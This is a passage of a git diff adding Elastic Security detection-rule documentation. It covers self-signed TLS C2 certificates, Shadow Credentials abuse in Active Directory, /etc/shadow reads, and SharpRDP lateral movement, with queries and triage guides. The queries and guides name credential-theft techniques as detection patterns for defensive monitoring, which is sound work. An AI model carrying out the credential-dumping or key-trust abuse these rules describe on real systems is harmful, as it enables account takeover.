Security Monitoring +* Use Case: Threat Detection +* Tactic: Command and Control +* Rule Type: ES|QL +* Data Source: Network Packet Capture +* Data Source: Network Traffic +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Self-Signed TLS Certificate Recently Issued on External Connection* + + +Malware and post-exploitation C2 often ships with ephemeral, self-signed TLS certificates rather than CA-issued +credentials. This rule matches external, successfully established TLS sessions where the server certificate issuer +matches the subject (self-issued and commonly self-signed) and the `not_before` date falls between 30 days ago and the +current time. Matching sessions are aggregated by source IP, destination IP, subject DN, and certificate `not_before` +so repeated full handshakes in the same detection window collapse into one alert. Distinguished-name equality alone +does not cryptographically verify the certificate signature. + +This logic does not detect private-CA signed leaves (issuer DN differs from subject DN) or publicly trusted certificates. +Hash-based default-certificate rules remain complementary coverage for known tooling certs that are often years old. +Resumed TLS sessions typically omit `tls.server.x509.*` fields, so only full handshakes are eligible. + + +*Possible investigation steps* + + +- Review `source.ip`, `destination.ip`, `Esql.destination_port_values`, `tls.server.x509.subject.distinguished_name`, + `Esql.tls_server_x509_serial_number_values`, `tls.server.x509.not_before`, and `Esql.tls_client_server_name_values`. + Common names can be empty on self-signed certificates; prefer the distinguished name and serial. +- Compare SNI (`Esql.tls_client_server_name_values`) with the certificate subject. A mismatch is a useful pivot, not + proof of malice. +- Pivot on destination IP and certificate serial or available SHA-1/SHA-256 fingerprints across other internal sources: + ```esql + FROM logs-network_traffic.tls-* + | WHERE tls.established == true + AND tls.server.x509.issuer.distinguished_name == tls.server.x509.subject.distinguished_name + | STATS event_count = COUNT(*), hosts = MV_SLICE(VALUES(source.ip), 0, 99) + BY destination.ip, tls.server.x509.serial_number, tls.server.hash.sha1, tls.server.hash.sha256 + | SORT event_count DESC + ``` +- Correlate with endpoint alerts, DNS anomalies, or prior commodity C2 detections on the source host, including the + Default Cobalt Strike Team Server Certificate rule. +- Compare certificate age and validity window against expected vendor or ACME renewal patterns. ACME-issued public + certificates should not match this rule because they are not self-signed. + + +*False positive analysis* + + +- Internal developers testing against staging servers with self-signed certs may appear if traffic hairpins through + external IPs or if staging is hosted outside RFC1918 / ULA space. +- Newly published self-hosted services (Proxmox, NAS, cameras, small-business appliances) often generate a self-signed + certificate on first boot and will match for 30 days. Exclude by destination after validation. +- Some appliance vendors ship with short-lived factory self-signed certificates; exclude by destination after validation. +- Repeated alerts for the same source, destination, and certificate across intervals are expected while the certificate + remains inside the 30-day `not_before` window. Add a destination or serial exception after the first review if the + traffic is authorized. + + +*Response and remediation* + + +- Isolate the source host if the destination is unknown and no authorized workflow explains the session. +- Block the destination IP or domain at the perimeter pending investigation. +- Preserve the available certificate hashes, `Esql.tls_server_x509_serial_number_values`, and the subject DN for threat + intel sharing. Collect a PCAP or full TLS metadata sample when available. + + +==== Setup + + + +*Setup* + + +This rule requires TLS certificate metadata from the Elastic network_traffic integration +(`logs-network_traffic.tls-*`) with `send_certificates` enabled (the Packetbeat TLS default) so ECS fields under +`tls.server.x509.*` are populated, including `issuer.distinguished_name`, `subject.distinguished_name`, and +`not_before`. + +Packetbeat calculates SHA-1 certificate fingerprints by default. To populate `tls.server.hash.sha256`, add `sha256` to +the TLS protocol analyzer's `fingerprints` setting. + +Resumed TLS sessions typically do not include certificate fields and will not match. Legacy `packetbeat-*` indices are +intentionally not queried: this rule uses CIDR-based internal-to-external directionality that should be validated per +source mapping before claiming Packetbeat coverage. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-network_traffic.tls-* +| where + network.protocol == "tls" + and network.transport == "tcp" + and tls.established == true + and source.ip is not null + and destination.ip is not null + and tls.server.x509.not_before is not null + and tls.server.x509.issuer.distinguished_name is not null + and tls.server.x509.subject.distinguished_name is not null + and tls.server.x509.issuer.distinguished_name == tls.server.x509.subject.distinguished_name + and tls.server.x509.not_before >= now() - 30 days + and tls.server.x509.not_before <= now() + and CIDR_MATCH( + source.ip, + "10.0.0.0/8", + "100.64.0.0/10", + "172.16.0.0/12", + "192.168.0.0/16", + "fc00::/7" + ) + and not CIDR_MATCH( + destination.ip, + "0.0.0.0/8", + "10.0.0.0/8", + "100.64.0.0/10", + "127.0.0.0/8", + "169.254.0.0/16", + "172.16.0.0/12", + "192.0.0.0/24", + "192.0.2.0/24", + "192.168.0.0/16", + "192.175.48.0/24", + "192.31.196.0/24", + "192.52.193.0/24", + "192.88.99.0/24", + "198.18.0.0/15", + "198.51.100.0/24", + "203.0.113.0/24", + "224.0.0.0/4", + "240.0.0.0/4", + "::/128", + "::1/128", + "2001:db8::/32", + "fc00::/7", + "fe80::/10", + "ff00::/8" + ) +| stats + Esql.event_count = COUNT(*), + Esql.first_seen = MIN(@timestamp), + Esql.last_seen = MAX(@timestamp), + Esql.destination_port_values = MV_SLICE(VALUES(destination.port), 0, 9), + Esql.tls_client_server_name_values = MV_SLICE(VALUES(tls.client.server_name), 0, 9), + Esql.tls_server_x509_subject_common_name_values = MV_SLICE(VALUES(tls.server.x509.subject.common_name), 0, 9), + Esql.tls_server_x509_serial_number_values = MV_SLICE(VALUES(tls.server.x509.serial_number), 0, 4), + Esql.tls_server_hash_sha1_values = MV_SLICE(VALUES(tls.server.hash.sha1), 0, 4), + Esql.tls_server_hash_sha256_values = MV_SLICE(VALUES(tls.server.hash.sha256), 0, 4), + Esql.tls_server_x509_not_after_values = MV_SLICE(VALUES(tls.server.x509.not_after), 0, 4), + Esql.network_community_id_values = MV_SLICE(VALUES(network.community_id), 0, 9), + Esql.host_name_values = MV_SLICE(VALUES(host.name), 0, 9), + Esql.observer_name_values = MV_SLICE(VALUES(observer.name), 0, 19) + by + source.ip, + destination.ip, + tls.server.x509.subject.distinguished_name, + tls.server.x509.not_before +| keep + source.ip, + destination.ip, + tls.server.x509.subject.distinguished_name, + tls.server.x509.not_before, + Esql.event_count, + Esql.first_seen, + Esql.last_seen, + Esql.destination_port_values, + Esql.tls_client_server_name_values, + Esql.tls_server_x509_subject_common_name_values, + Esql.tls_server_x509_serial_number_values, + Esql.tls_server_hash_sha1_values, + Esql.tls_server_hash_sha256_values, + Esql.tls_server_x509_not_after_values, + Esql.network_community_id_values, + Esql.host_name_values, + Esql.observer_name_values + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Encrypted Channel +** ID: T1573 +** Reference URL: https://attack.mitre.org/techniques/T1573/ +* Sub-technique: +** Name: Asymmetric Cryptography +** ID: T1573.002 +** Reference URL: https://attack.mitre.org/techniques/T1573/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-shadow-credentials-added-to-ad-object.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-shadow-credentials-added-to-ad-object.asciidoc new file mode 100644 index 0000000000..05f1d055d4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-shadow-credentials-added-to-ad-object.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-potential-shadow-credentials-added-to-ad-object]] +=== Potential Shadow Credentials added to AD Object + +Identify the modification of the msDS-KeyCredentialLink attribute in an Active Directory Computer or User Object. Attackers can abuse control over the object and create a key pair, append to raw public key in the attribute, and obtain persistent and stealthy access to the target user or computer object. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-windows.forwarded* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab +* https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials +* https://github.com/OTRF/Set-AuditRule +* https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Active Directory +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 220 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Shadow Credentials added to AD Object* + + + +*Possible investigation steps* + + +- What object received the key-trust change? + - Focus: `winlog.event_data.ObjectDN`, `winlog.event_data.ObjectGUID`, `winlog.event_data.ObjectClass`, `winlog.event_data.OperationType`, and `winlog.event_data.AttributeValue`. + - Implication: escalate when a sensitive user or computer receives an added or replaced key-trust value outside recognized enrollment; lower suspicion only when the object class, DN, and operation fit the same identity-registration workflow. + +- Which account and logon session wrote the value? + - Focus: `winlog.event_data.SubjectUserSid`, `winlog.event_data.SubjectUserName`, `winlog.event_data.SubjectLogonId`, recovered `source.ip`, and `winlog.logon.type`. !{investigate{"description":"","label":"Successful logon for the modifying session","providers":[[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: match alert `winlog.event_data.SubjectLogonId` to same `host.id` authentication events with `winlog.event_data.TargetLogonId`; if no 4624 matches, keep the session unresolved. + - Implication: escalate for an unexpected user, admin, service, or machine writer, or source/logon type outside the object's enrollment path; lower suspicion when writer and session match recognized provisioning or device registration. + +- Does the writer/object pair fit a recognized ADFS or Azure AD Connect-style path? + - Why: the abuse path writes authentication material, so service-looking writers still need source and change-set validation. + - Focus: compare `winlog.event_data.SubjectUserSid`, `winlog.event_data.SubjectUserName`, `winlog.event_data.ObjectClass`, `winlog.event_data.ObjectDN`, and `source.ip` to the expected service account, object type, and enrollment source. + - Implication: lower suspicion when recognized provisioning updates the expected object from the expected source; escalate when the writer is ad hoc, interactive, non-provisioning, object-class mismatched, or unexplained by source. + +- Was the logical change limited to this key credential? + - Focus: use same-operation 5136 events grouped by `winlog.event_data.OpCorrelationID`; compare `winlog.event_data.ObjectGUID`, `winlog.event_data.AttributeLDAPDisplayName`, `winlog.event_data.OperationType`, and `winlog.event_data.AttributeValue`. !{investigate{"description":"","label":"Directory changes in the same operation","providers":[[{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.OpCorrelationID","queryType":"phrase","value":"{{winlog.event_data.OpCorrelationID}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate when the operation touches unrelated objects, adds other authentication or delegation material, or removes cleanup evidence; lower suspicion when bounded to the expected object and enrollment attributes. + +- Did the modified identity authenticate after the change? + - Why: post-change authentication shows whether the new key material may already be in use. + - Focus: derive the principal from `winlog.event_data.ObjectDN`; review authentication events for `winlog.event_data.TargetUserName`, `winlog.event_data.TargetDomainName`, `source.ip`, `winlog.logon.type`, and `winlog.event_data.AuthenticationPackageName`. + - Hint: search after `@timestamp` for Target-side fields matching the derived principal; if `source.ip` is empty, lower origin confidence instead of treating absence as benign. + - Implication: escalate when the identity authenticates from a new source, unexpected logon type, or authentication path after the change; absence of follow-on use reduces urgency only when earlier evidence proves recognized provisioning. + +- Do related alerts change the scope beyond this object? + - Focus: recent alerts for the modifying account using `user.id` or `winlog.event_data.SubjectUserSid`. !{investigate{"description":"","label":"Alerts associated with the modifying account","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare with alerts scoped to the modified object's `winlog.event_data.ObjectGUID`. !{investigate{"description":"","label":"Alerts associated with the modified object","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"winlog.event_data.ObjectGUID","queryType":"phrase","value":"{{winlog.event_data.ObjectGUID}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response when either scope shows privilege abuse, directory tampering, relay activity, or lateral movement; keep local when related alerts are quiet and local evidence resolves to one recognized workflow. + +- Escalate on the key-trust change plus any suspicious or unresolved object, writer session, `winlog.event_data.OpCorrelationID` scope, post-change authentication, or related-alert finding; close only when all evidence binds to one recognized provisioning workflow; preserve and escalate when evidence is mixed, incomplete, or uncorroborated. + + +*False positive analysis* + + +- AutoPilot or WHfB device enrollment can cause a computer to write its own key credential. Confirm `winlog.event_data.SubjectUserName` matches the CN in `winlog.event_data.ObjectDN`, `winlog.event_data.ObjectClass` is "computer", `winlog.event_data.OpCorrelationID` is bounded, and no unexpected follow-on authentication occurs. +- ADFS or Azure AD Connect provisioning can update key credentials on user or computer objects. Confirm `winlog.event_data.SubjectUserSid`, `winlog.event_data.ObjectDN`, recovered `source.ip`, bounded `winlog.event_data.OpCorrelationID`, and post-change authentication align with one named workflow. Keep open when ownership is unresolved. +- Build exceptions from stable writer SID, object class or GUID, `host.id`, recovered source, and enrollment path across prior alerts. Avoid exceptions on "msDS-KeyCredentialLink", `user.name`, or host alone. + + +*Response and remediation* + + +- Preserve a case export of the triggering 5136, recovered writer-session authentication events, `winlog.event_data.AttributeValue`, `winlog.event_data.ObjectGUID`, and `winlog.event_data.OpCorrelationID` before containment, reversal, or cleanup. +- If confirmed benign, reverse temporary containment and document the exact workflow evidence: writer SID, object GUID/class, domain naming context, recovered source, bounded change set, and post-change authentication pattern. Keep any exception narrow and only for the recurring workflow. +- If suspicious but unconfirmed, apply reversible controls to the writer first, such as heightened monitoring or temporary access review; restrict the modified identity only when object sensitivity or follow-on authentication shows active risk. +- If confirmed malicious, contain the writer account or source system using `winlog.event_data.SubjectLogonId`, `source.ip`, `host.id`, and follow-on authentication evidence. Disable the writer first when its session performed unauthorized changes; disable or rotate the modified identity only when post-change authentication or object sensitivity shows active risk. +- After containment, remove only the unauthorized key-trust value and verify rollback. Reset or rotate the modified identity according to `winlog.event_data.ObjectClass`: reset user passwords, rotate service credentials, or re-establish the expected computer trust path. Review the same `winlog.event_data.OpCorrelationID` or session for additional unauthorized changes. +- Post-incident hardening: restrict write access to "msDS-KeyCredentialLink" to dedicated identity-management accounts, retain 5136 auditing on domain controllers, and record the confirmed provisioning workflow or abuse pattern for future triage. + + +==== Setup + + + +*Setup* + + +Audit Directory Service Changes must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-changes + + +==== Rule query + + +[source, js] +---------------------------------- +event.code:"5136" and host.os.type:"windows" and winlog.event_data.AttributeLDAPDisplayName:"msDS-KeyCredentialLink" and + winlog.event_data.AttributeValue :B\:828* and + not winlog.event_data.SubjectUserName: MSOL_* and + not winlog.event_data.ObjectClass: "msDS-Device" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-shadow-file-read-via-command-line-utilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-shadow-file-read-via-command-line-utilities.asciidoc new file mode 100644 index 0000000000..959a5b696b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-shadow-file-read-via-command-line-utilities.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-potential-shadow-file-read-via-command-line-utilities]] +=== Potential Shadow File Read via Command Line Utilities + +Identifies access to the /etc/shadow file via the commandline using standard system utilities. After elevating privileges to root, threat actors may attempt to read or dump this file in order to gain valid credentials. They may utilize these to move laterally undetected and access additional resources. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Shadow File Read via Command Line Utilities* + + +In Linux environments, the `/etc/shadow` file stores hashed passwords, making it a prime target for attackers seeking credential access. Adversaries with elevated privileges may exploit command-line utilities to read this file, aiming to extract credentials for lateral movement. The detection rule identifies suspicious access attempts by monitoring process activities related to the file, excluding legitimate operations, thus highlighting potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the process details to identify the executable and arguments used, focusing on the process.args field to confirm access attempts to /etc/shadow. +- Check the process.parent.name field to determine the parent process and assess if it is associated with known legitimate activities or suspicious behavior. +- Investigate the user context under which the process was executed to verify if the user had legitimate reasons to access the /etc/shadow file. +- Examine the host's recent activity logs for any privilege escalation events that might have preceded the access attempt, indicating potential unauthorized privilege elevation. +- Correlate the event with other alerts or logs from the same host to identify patterns or sequences of actions that suggest lateral movement or further credential access attempts. +- Assess the environment for any recent changes or deployments that might explain the access attempt, such as updates or configuration changes involving user management. + + +*False positive analysis* + + +- System maintenance tasks may trigger alerts when legitimate processes like chown or chmod access the /etc/shadow file. To handle these, consider excluding these specific processes when they are executed by trusted system administrators during scheduled maintenance. +- Containerized environments might generate false positives if processes within containers access the /etc/shadow file. Exclude paths such as /var/lib/docker/* or /run/containerd/* to reduce noise from container operations. +- Security tools like wazuh-modulesd or custom scripts (e.g., gen_passwd_sets) that legitimately interact with the /etc/shadow file for monitoring or compliance checks can be excluded by adding them to the process.parent.name exclusion list. +- Automated scripts or cron jobs that perform routine checks or updates on system files, including /etc/shadow, should be reviewed and, if deemed safe, excluded from triggering alerts by specifying their process names or paths in the exclusion criteria. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified in the alert that are attempting to access the /etc/shadow file. +- Conduct a thorough review of user accounts and privileges on the affected system to identify any unauthorized privilege escalations or account creations. +- Change all passwords for accounts on the affected system, especially those with elevated privileges, to mitigate the risk of credential compromise. +- Review and update access controls and permissions for sensitive files like /etc/shadow to ensure they are restricted to only necessary users and processes. +- Monitor for any further attempts to access the /etc/shadow file across the network, using enhanced logging and alerting mechanisms to detect similar threats. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type : "linux" and event.category : "process" and event.action : ("exec" or "exec_event") and +( + process.args : "/etc/shadow" or + (process.working_directory: "/etc" and process.args: "shadow") +) and not ( + (process.executable : ("/bin/chown" or "/usr/bin/chown") and process.args : "root:shadow") or + (process.executable : ("/bin/chmod" or "/usr/bin/chmod") and process.args : "640") or + process.executable:( + /vz/* or /var/lib/docker/* or /run/containerd/* or /tmp/.criu* or /tmp/newroot/* or + "/etc/cron.daily/passwd" or "/usr/sbin/lynis" or "/usr/bin/rkhunter" or + "/usr/local/hestia/bin/v-check-user-password" or "/usr/sbin/setroubleshootd" or + "/usr/lib/tiger/scripts/check_passwdformat" + ) or + process.parent.name:(gen_passwd_sets or scc_* or wazuh-modulesd) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sharprdp-behavior.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sharprdp-behavior.asciidoc new file mode 100644 index 0000000000..e250bd1ca3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sharprdp-behavior.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-potential-sharprdp-behavior]] +=== Potential SharpRDP Behavior + +Identifies potential behavior of SharpRDP, which is a tool that can be used to perform authenticated command execution against a remote target via Remote Desktop Protocol (RDP) for the purposes of lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.registry-* +* logs-endpoint.events.network-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://posts.specterops.io/revisiting-remote-desktop-lateral-movement-8fb905cb46c3 +* https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/master/Lateral%20Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential SharpRDP Behavior* + + + +*Possible investigation steps* + + +- Do Timeline source events form one target-side SharpRDP chain? + - Focus: same-`host.id` events: inbound `source.ip`, RunMRU `registry.data.strings`, child `process.parent.name`, and child `process.command_line`. + - Hint: record the RunMRU time and child `process.entity_id`; the sequence alert may not preserve stage-specific process or registry fields. + - Implication: suspicious when non-loopback RDP to port 3389 is followed by a RunMRU shell, Task Manager, or "\\tsclient\" command and child execution; lower suspicion only when all recovered members fit one recognized interactive RDP maintenance action. Missing member events are unresolved, not benign. +- Which RunMRU method launched execution? + - Focus: RunMRU `registry.path`, `registry.data.strings`, child `process.parent.name`, and child `process.command_line`. + - Implication: escalate when the RunMRU data selects a shell, Task Manager, or "\\tsclient\" mapped-drive payload and the child process matches that method; normal Run-dialog use is lower risk only when it launches a bounded support utility or installer without shell staging. +- Does the source and user context fit legitimate RDP use on this target? + - Focus: inbound `source.ip`, launched-process `user.id`, and `user.name`. + - Implication: escalate when an unusual source uses an end-user or privileged account to start shells, Task Manager, or mapped-drive binaries over RDP; treat a recognized source-user pairing as context only until the RunMRU command and child identity also match the exact RDP task. +- What ran on the target, and does its identity fit the expected RDP workflow? + - Focus: child `process.executable`, `process.command_line`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when the command stages scripts, remote-admin tooling, credential access, or unsigned/user-writable payloads; lower suspicion only when binary identity and command line match the same bounded support or deployment workflow. A trusted signer does not clear suspicious command intent. +- Did the launched child or its descendants create follow-on activity? + - Focus: same-host endpoint events scoped to recovered child `process.entity_id`: descendant `process.parent.entity_id`, persistence `registry.path`, DNS-event `dns.question.name`, and connection-event `destination.ip`. + - Hint: query process and registry events tied to the child ID; review DNS and connection events separately because `dns.question.name` and `destination.ip` live on different network event subtypes. + - Implication: escalate when descendants, registry changes, DNS lookups, or outbound connections show staging, persistence, command-and-control, or more lateral movement; absence of process-scoped DNS or connection telemetry narrows the case only when other evidence is clean. Missing network telemetry is unresolved, not benign. +- Do related target-host alerts change scope? + - Focus: related RDP, remote-service, credential, and execution alerts for the same `host.id`. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if recovered `source.ip` maps to an enrolled internal asset, follow up on outbound RDP to `destination.port` 3389 from a non-standard RDP client; missing source-host telemetry is unresolved, not benign. + - Implication: broaden scope when target-host alerts or caveated source-host follow-up show lateral movement beyond one recovered session; keep local only when the suspicious pattern stays confined to this target and the recovered source workflow is otherwise clean. +- Using RDP source, RunMRU command, child lineage and identity, user context, follow-on process/registry/network evidence, and related alerts, escalate RDP-driven command execution or "\\tsclient\" payload launch without a coherent benign workflow; close only when all categories align to one exact recognized RDP workflow and no contradictory host or source evidence remains; preserve artifacts and escalate when evidence is mixed or visibility is incomplete. + + +*False positive analysis* + + +- Helpdesk or administrator RDP support can trigger when an operator uses Win+R, Task Manager, or a mapped drive to launch a diagnostic or installer. Confirm `source.ip`, `host.id`, `user.id`, `registry.data.strings`, `process.parent.name`, and `process.executable`/`process.command_line` match one task with no suspicious descendant activity. Without telemetry proof, require operator or ticket confirmation; do not close from historical pattern alone. +- TSClient drive-redirection deployment can explain `\\tsclient\` execution only when a known installer or utility launches with stable `process.hash.sha256` or `process.code_signature.subject_name`, matching `process.parent.name`, `source.ip`, and `host.id`. Do not close if registry, DNS, connection, or descendant evidence contradicts it. +- Before creating an exception, anchor on: `source.ip`, `host.id`, `user.id`, exact `registry.data.strings`, `process.parent.name`, and `process.executable` or `process.hash.sha256`. Avoid exceptions on `destination.port`, `process.name`, or RunMRU path alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the exact `source.ip`, `user.id`, `registry.data.strings`, `process.executable`, and `host.id` that established the confirmed workflow. Create an exception only after the exact activity is confirmed and the exception can be pinned to the narrow workflow pattern. +- If suspicious but unconfirmed, export the Timeline source events, capture the launched child process record and parent command line, save the RunMRU value data, and collect staged payloads, persistence key/value snapshots, DNS names, and connection destinations before containment or cleanup. +- If suspicious but unconfirmed, after preservation apply reversible containment: end the active RDP session, temporarily restrict new RDP connections from the recovered `source.ip`, or increase monitoring on the affected `host.id`. Escalate to host isolation only when follow-on activity shows broader abuse and the host role can tolerate isolation. +- If confirmed malicious, isolate the host when feasible, suspend or block the RDP access path or account that established the session, and terminate the launched child process plus suspicious descendants only after preserving the process and command evidence. +- Review other hosts and users tied to the same `source.ip`, `user.id`, or distinctive `process.command_line` pattern before deleting artifacts or resetting credentials so scoping completes before evidence is destroyed. +- Remove staged payloads, persistence changes, or follow-on tooling identified during the investigation, then reset or reissue credentials only when the process, user, and source evidence shows likely account misuse or credential exposure. +- Post-incident hardening: restrict RDP access to controlled jump hosts, limit drive redirection where it is not required, retain process plus registry plus network 